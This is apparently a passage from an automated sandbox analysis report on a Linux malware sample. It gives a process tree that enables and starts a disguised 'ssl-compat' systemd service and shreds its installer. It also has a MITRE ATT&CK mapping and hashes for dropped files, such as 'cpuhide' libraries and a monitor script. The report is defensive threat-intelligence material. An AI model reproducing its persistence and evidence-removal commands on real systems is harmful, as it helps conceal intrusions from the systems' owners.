    PID:1961
- - /usr/sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1961
- - /usr/bin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1961
- - /sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1961
- - /bin/systemctl
    systemctl enable ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1961
- /usr/bin/timeout
  timeout 10 systemctl start ssl-compat
  2⤵
  PID:1974
- - /usr/local/sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1975
- - /usr/local/bin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1975
- - /usr/sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1975
- - /usr/bin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1975
- - /sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1975
- - /bin/systemctl
    systemctl start ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1975
- /bin/sleep
  sleep 2
  2⤵
  PID:1977
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:2077
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:2080
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:2080
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:2080
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:2080
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:2080
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:2080
- /usr/bin/id
  id -u
  2⤵
  PID:2086
- /usr/bin/shred
  shred -u /tmp/install.sh
  2⤵
  - Indicator Removal: File Deletion
  - Writes file to tmp directory
  PID:2087

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

File Deletion

T1070.004

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Software Deployment Tools

T1072

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hosts.xmon.651

Path /etc/hosts.xmon.651
Size 1KB
SHA256 ef6eaba04b7652688bc5460b9b25143bd7fd4fae2d026b11f1872a7dcb1f7bc3
MD5 f4ba06cad5099c06b531a517bb60dee9
SHA1 ee2e77227893d54566cca184df57fb0479de0f76
SHA512 7e088fb6a0e7bc32d13d6dacbdba9a840363094a8f2c1aef865b6d7cd40aad472fa8fc22d2ec010adbdaaba1ef75a52b740a88af2b9aefef2913eab3a444da28
TLSH
T1F531CDB19462C3FD01D390113876A237C923CA2ACD6EF3FADA1C7A55513C9CC68744B4
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.651

Path /etc/hosts.xmon.651
Size 39B
SHA256 807f84faec8b3788eeaff2ef1a010c8f251742a19a678a7eb1ce6a460038f3c0
MD5 975490dd4b5ef5a68a40c49d5d5b8a37
SHA1 508b8d16b26ff739630053e72279e6de669ce4e6
SHA512 6ac3968d7448c4f45b7e75deabcfe1afaf41dfe5698af1646474950900e5d3dc787674e69f203d9f02ad397bbb52dc66476bd4fcb8bfcf5c38faeb2f68999f9c
MD5 SHA1 SHA512

Submit Download

hosts.xmon.651

Path /etc/hosts.xmon.651
Size 59B
SHA256 e04a62f4b742c591e8e8861b56ae6fc15e2f1a00c8a5173b46890a8d6b0db35d
MD5 ff63c824e2d433ab685f76afcfc35576
SHA1 6c4650682954b7f10e072d5f00d0bdfbc84fc61d
SHA512 32a692aa29583fc12c98e3f8af887f89d29e503b0bd4ed8699dec34d85e56f5a81b51f28da04539a4e6fcd690cc4c80c7ab07a324fdc3e1ca145d36ef94438d5
TLSH
T169A002A01A5692C24B97A64185714036D107C0960568A755D4162E40533110C5451420
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.651

Path /etc/hosts.xmon.651
Size 109B
SHA256 d4555850ab92ced22f37fe722d0781492524ec479cfa86a1624849f60ce5418c
MD5 fd8c7173a47b8e10f4313162fff0e8fa
SHA1 37d33babf1eb934cea8cb8ffd7f2d41b13bb3548
SHA512 737f51a4f5e7f4f08c556c5862ae7739af982e05c3eb191f6c830aafb5a2a2d44dfe8a9e0b2373547b354d46ace3e5eff751712d69d7386c5643f6ce0b338593
TLSH
T15DB012D01E5346F306D76741E0370032C603C08500E4EFA084361D00123013C2972150
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.651

Path /etc/hosts.xmon.651
Size 110B
SHA256 b31e85ad8186c181aa74e91260a074fe40bcce0675f9eb54902583e918b839d8
MD5 cad0536f7e98149ad1d0c158e1036742
SHA1 69351aaa2dc974e18421f86bfb85c5bcbe09320b
SHA512 c745f944d97c1df6d8c682fbfe9a6b3cfaac463985d7872a9fc63c330af4fdb9c3515266a8191889bd1e617e35985556a53fa6dccac73ec330b3be0d318bfed5
TLSH
T10CB012D01E534AF306D76741E0370033C603C08500E4EFA084361D00523013C2972150
MD5 SHA1 SHA512 TLSH

Submit Download

ssl-compat.service

Path /etc/systemd/system/ssl-compat.service
Size 305B
SHA256 70dcb74b97a0adcc287ddd4aec81304c3f1782975af5d6221634f2eeab4a8f24
MD5 30218ce09e929e4c831b064cf2b26bab
SHA1 b695cf66d3bdab3d09f02918b7fafb06c84132f8
SHA512 16d57350752e107eb58cf86e2c3a32b19985691279b0b9d29011b6dfdf41e3059763ed1496c4faf5b2270948ef3104e456c50364e86e7898cda06f8c99dac7d7
TLSH
T172E0E732F70204E3ED0514331F531B40CF0C208D9C5E943055D62F6905D2D47C11095D
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.RnCOz9

Path /tmp/sh-thd.RnCOz9
Size 1KB
SHA256 7bba9049cd7b3b3be6067ac22ef0bd4c1d2e31bbf6ce416a7c3a847d35ae50a6
MD5 d6ec4369aea9cf870896815ab250165a
SHA1 6640b8cc266edcafb93cb630a7e0327e02083a01
SHA512 1c7260a7bf4d186914c3b8d69a080f38a4bdfe5f17355af8f0166778379b43c6e804430b7b6eae4e03c0cb97a09de53de23d73ca7c36c96b6f796335953d5d1b
TLSH
T1141127B1D062C7F845D3A0223872A23BC577D62ACDAEF3FA954CBB94913CCCC64644A4
MD5 SHA1 SHA512 TLSH

Submit Download

config.json.tmp.651

Path /usr/share/doc/libssl-compat3/config.json.tmp.651
Size 4KB
SHA256 188bddc5e7ac1c1e6e6ab6b34280db8578a3ebdd9c60d0c100c1d277ff2ff76e
MD5 03c4c603be2a05ef97a480be760d1157
SHA1 24bfb4cb6324c5e42917ca5dc8e0bf33ba052520
SHA512 3d4af35a4bf9f7588251dbc4f7e377616c6f2605d33f0efc7285ebeab07fb3596e90ae2705345e3ec08c8682d7c5f289c5419a7aba84a3cb2f5815abd9b8f317
SSDEEP 48:EePpTXychTte7H61b/ojz6KQivbTDzi/XaJeHQJyy:EePpTXyc+61b/ojz6KQifDzDowF
TLSH
T1D691C335CA180CFE04BCD26CD9B89286D668830B63446C6B76FC495C1F336327AD6E9D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpuhide-bpf.tmp.651

Path /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.651
Size 58KB
SHA256 1f0457dda40401cbe8409b8375ba9008634771ec5eb9a99c7a84b4e8385d33aa
MD5 431cef8d5983252ea7ad95cf5b03e3c6
SHA1 333133a21fa79c18476292a0ff849e10f794024e
SHA512 91ddef3850d6d98d5955ba9352a5c246f042c4720b4c1eb58224fd40c86f221b78ac3fe11c5b4b9a91aede6c4b08cd77133ba282c8a256ae62ad7eddb9961c00
SSDEEP 1536:opU5KaiCqSVn58+ouyJSbal+cuyyLNtuW8mf0FbD:oW3C4yJqq
TLSH
T13943D806A4B09936C45A423248A7863B67B2F3659B128F3F755C737B1E4F34D2EC27A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpuhide.so.tmp.651

Path /usr/share/doc/libssl-compat3/cpuhide.so.tmp.651
Size 9KB
SHA256 13d9cec95267ecfa0c38b25ff47d021fd6d8120bc7c734981169c4424be1d754
MD5 f223f91f3673da8fa1b2bdbd91100856
SHA1 a7526891f166f72ee5fe0c0d14c5187c01e38295
SHA512 9c743889216c36214135b677ff5e3678c0728a15ca0e89d6760e885b2229d8de0b05894145bde3ab27c593ab044a4d3c6945e2a92bc6138e03f3705e6dca774d
SSDEEP 96:RWDMBWBPeEOa++HqLSkJqCSEeftAXLNQnXS94dXq8GQhB+aW8CSPy:RWA8peEOa+FpSh8NQnfgyhY
TLSH
T15422A30AF2758A7DC4A99334888B873267F0F8148122173337199B783C937644F9BAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mnmonitor.sh.tmp.651

Path /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.651
Size 85KB
SHA256 a859161ee7ad17ab7a162ae632aa50b7a9092158fc5930e5c3f263e57469b94b
MD5 b158bde4fa0ed5966b55488daf2a9f83
SHA1 d5fae04f44714bba4230337de46a78a13747573a
SHA512 932155d2d4e5c2a63423d469d35eaf81b550e11b4c5e27162d2c2d50a88905ee0c44a4acd2eb1ac2b28c541438ea6cebc18016e362b32696c4afcace35c83e99
SSDEEP 768:3hgZLh+aSGtgXka1/xeMOVmvzZbVbSLOrwzrjQ8yB0Na30Xi8rfbRR4s2z/sCfjn:q0/e8NbVbS1fEEXi8rfb7GoCftB
TLSH
T124831A71F568C7B175A5C01C9BCA5140170E3127394D2428B5ADBA5CBFFC26CA0BABBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssl-compet.tmp.651

Path /usr/share/doc/libssl-compat3/ssl-compet.tmp.651
Size 6.7MB
SHA256 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
MD5 8f633ade35df4f992eb28a2c5bc37cef
SHA1 6b2fe529339896b22328dec8936219e7b8e3252f
SHA512 8073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73
SSDEEP 98304:LS8DtMxKWZzBbmDvDvD0iWOMe2FMXWeXjLnx3mQ/nUmumVdMf+RPE3PE3PEbb2mG:DDGAjrYUBlK4rMVe4bLGLfi776u8jW
TLSH
T1CF666D07B6A258FCC1AAC870865FD573B931B8985211793B3794AB302F27F605B1DFA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads